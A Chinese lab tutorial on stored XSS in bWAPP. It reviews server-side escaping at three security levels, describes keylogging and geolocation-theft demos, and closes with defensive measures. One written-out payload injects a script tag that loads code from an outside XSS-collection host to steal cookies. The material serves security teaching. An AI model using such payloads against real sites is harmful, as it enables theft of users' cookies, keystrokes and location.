新手指南:Bwapp之XSS –stored

XSS 全称:跨站脚本( Cross Site Scripting ),为了不和层叠样式表( Cascading Style Sheets )的缩写 CSS 混合,所以改名为 XSS;攻击者会向 web 页面( input 表单、 URL 、留言版等位置)插入恶意 JavaScript 代码,导致 管理员/用户 访问时触发,从而达到攻击者的目的。

XSS 的危害:窃取管理员/用户的 cookie 非法登录,导致网站被挂马、服务器沦陷被控制等等……

XSS 类型:反射型、存储型、 DOM 型

0x01 代码审计

1.安全等级-low(未对字符做任何处理)

服务器端核心代码,数据提取及表单显示数据部分代码:

PHP - low 级别显示代码为:

关键的语句:

Return mysqli_real_escape_string(data);

下列字符受影响:

\x00 ,\n ,\r ,\ ,' ," ,\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

2.安全等级- medium

服务器端代码:

关键语句:

return addslashes($data);

stringaddslashes ( string $str )

本函数可在 PHP4 和 PHP5 下使用。

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NULL(NULL 字符)。

默认情况下,PHP 指令 magic_quotes_gpc 为 on ,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc()进行检测。

一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。大多数据库使用 \(反斜杠)作为转义符:O\'reilly ,这样可以将数据放入数据库中,而不会插入额外的 \。当 PHP 指令 magic_quotes_sybase 被设置成 on 时,意味着插入 \' 时将使用 ' 进行转义。

3.安全等级:high

关键语句:

return htmlspecialchars($data, ENT_QUOTES,$encoding);

quotestyle 选项为 NT_QUOTES 过滤单引号

函数 htmlspecialchars 转换特殊字符成为 html 实体:

&(和号)成为 &amp

“ (双引号)成为 &quot

‘ (单引号)成为 &#39

< (小于号)成为 &lt

> (大于号)成为 &gt

具体细节请看:

http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

0x02实战解析

1.low安全级别

让我们来留个言:

数据库中插入的数据:

点击一下safs:

成功跳转到百度:

2.medium 安全级别:

让我们再来留个言:

数据库中插入的数据:

刷新一下,看看效果图:

3.high 安全级别:

对字符输出过滤做的很好,看看效果:

4.下面来找个具体例子来练练手 xss之获取键盘记录:

数据接收的 getkeylog.php :

盗取数据的 victim.html 网页:

访问 victim.html:

生成了一个 data.txt 文件:

打开 data.txt:

数据盗取成功。(^__^) 嘻嘻……

5.盗取 cookie:

开启虚拟机,开启 phpstudy, 进入 webbug 靶场:

留言一下:

"><sCRiPt sRC=http://xss.fbisb.com/6srZ></sCrIpT>

刷新一下;

接收到 cookie:(好像没有啥东西)。。。。。。。

6.Cookie 并不好玩,让我们来一下骚操作(可以精确定位):

获取对方的地理位置:

需要 index.phprecv.php ( index.php 发送给攻击者的, recv.php 作为服务端接收参数)

index.php:

Recv.php :

接受上个页面传过来的参数(经度坐标),接受上个页面传过来的参数(纬度坐标),创建一个 geo.txt 文件,把经度写入到 geo.txt 里,把纬度写入到 geo.txt 里

插入留言:

存入数据库:

点击 location 的效果图:

打开 geo.txt:

来看看定位结果:

0x03防御手段

1、PHP 直接输出 html 的,可以采用以下的方法进行过滤:

2、PHP 输出到 JS 代码中,或者开发 Json API 的,则需要前端在JS中进行过滤:

尽量使用 innerText(IE) 和 textContent(Firefox) ,也就是 jQuery 的 text() 来输出文本内容必须要用innerHTML等等函数,则需要做类似 php 的 htmlspecialchars 的过滤

3、其它的通用的补充性防御手段

在输出 html 时,加上 Content Security Policy 的 Http Header

(作用:可以防止页面被 XSS 攻击时,嵌入第三方的脚本文件等)

(缺陷:IE 或低版本的浏览器可能不支持)

在设置 Cookie 时,加上 HttpOnly 参数

(作用:可以防止页面被 XSS 攻击时,Cookie 信息被盗取,可兼容至IE6)

(缺陷:网站本身的 JS 代码也无法操作 Cookie ,而且作用有限,只能保证 Cookie 的安全)

在开发 API 时,检验请求的 Referer 参数

(作用:可以在一定程度上防止 CSRF 攻击)

(缺陷:IE或低版本的浏览器中,Referer 参数可以被伪造

0x04总结

XSS 的攻击已经相当成熟,丰富的攻击技巧更是令人眼花缭乱。相比之下,针对XSS的检测和防范方法显得捉襟见肘。幸运的是,尽管很难对 XSS 攻击做出有效检测,但是如果能依照一定的方法对XSS进行防范,XSS攻击便很难造成实质性的危害

(一)、Anti_XSS

Anti_XSS 是微软开发的(.NET平台下)用于防止 XSS 跨站脚本攻击的类库,它提供了大量的编码函数用于处理用户的输入,可实现输入白名单机制和输出转义。

(二)、HttpOnly Cookie

窃取 Cookie 是最常见的 XSS 攻击手法之一,即利用 XSS 攻击手法来打破同源策略。在同源策略规范下,Cookie 理应只能提供给同源下的网页读取使用,然而透过 XSS 漏洞,攻击者可以利用 JavaScript 中的document.cookie 方法窃取用户的 Cookie

(三)、WAF

除了使用以上方法地域跨站脚本攻击,还可以使用 WAF 抵御 XSS、

WAF 指 Web 应用防护系统或 Web 应用防火墙,是专门为保护给予 Web 应用程序而设计的,主要的功能是防范注入网页木马、 XSS 以及 CSRF 等常见漏洞的攻击,在企业环境中深受欢迎。

(四)、重点

如何利用 xss 漏洞实施攻击并不是身为安全工程师的重点,xss 防御才是我们努力要去做的。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-01-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JavaEdge

压测软件Jmeter使用实例(WIN7环境)百科我们为什么使用JmeterJmeter安装配置Sampler监听器(Listener)点击启动按钮,开启测试Jmeter自定义变量Redis的压测

3525
来自专栏owent

理解Raft算法

之前已经有Paxos算法,用于解决分布式系统最终一致性问题,而且已经有了zookeeper这个成熟的开源实现。那么这个Raft算法有啥用呢?按照Raft官网的说...

4733
来自专栏安恒网络空间安全讲武堂

Amazing phpinfo()

前记 Xdebug 前记 定义 开启Xdebug 适用目标 实验效果 注意事项 session.upload_progress 定义 开启session.upl...

3596
来自专栏前端儿

【转】http-equiv="X-UA-Compatible" 设置IE浏览器兼容模式详解

文件兼容性用于定义让IE如何编译你的网页。此文件解释文件兼容性,如何指定你网站的文件兼容性模式以及如何判断一个网页该使用的文件模式。

2891
来自专栏智能算法

Jupyter notebook使用指南

一、Jupyter介绍 Jupyter Notebook是以web交互式的编程接口,是IPython notebook的升级版本。主要是针对python,另外...

2.5K8
来自专栏Java学习网

Java 常用开发工具介绍,重点是Eclipse的使用及注意事项,很实用

1、Java 开发工具 ( 常见开发工具介绍 ) A: 操作系统自带的记事本软件 B: 高级记事本软件 C: 集成开发环境 IDE (Integrated De...

3328
来自专栏三杯水

服务稳定性及应用防攻击方案

日志收集推荐使用Elastic Stack协议栈,可以满足收集海量日志需求,而且便于后续分析、报表、报警操作

1483
来自专栏FreeBuf

玩转Google的XSS游戏

作者 Taskiller Hi基友们,本文主要描述Google前些天发布的关于XSS漏洞游戏的玩法,地址在这里。 https://xss-game.appsp...

24810
来自专栏猿人谷

使用bash编写Linux shell脚本--调试和版本控制

当我还在布鲁克大学上学的时候, Macquarium 实验室中充满了苹果公司的 Macintosh Plus 电脑。一天,我在为第三年的操作系统课程准备一个程序...

46710
来自专栏用户2442861的专栏

使用ThinkPHP框架快速开发网站(多图)

http://blog.csdn.net/ruby97/article/details/7574851/

2.2K2

扫码关注云+社区

领取腾讯云代金券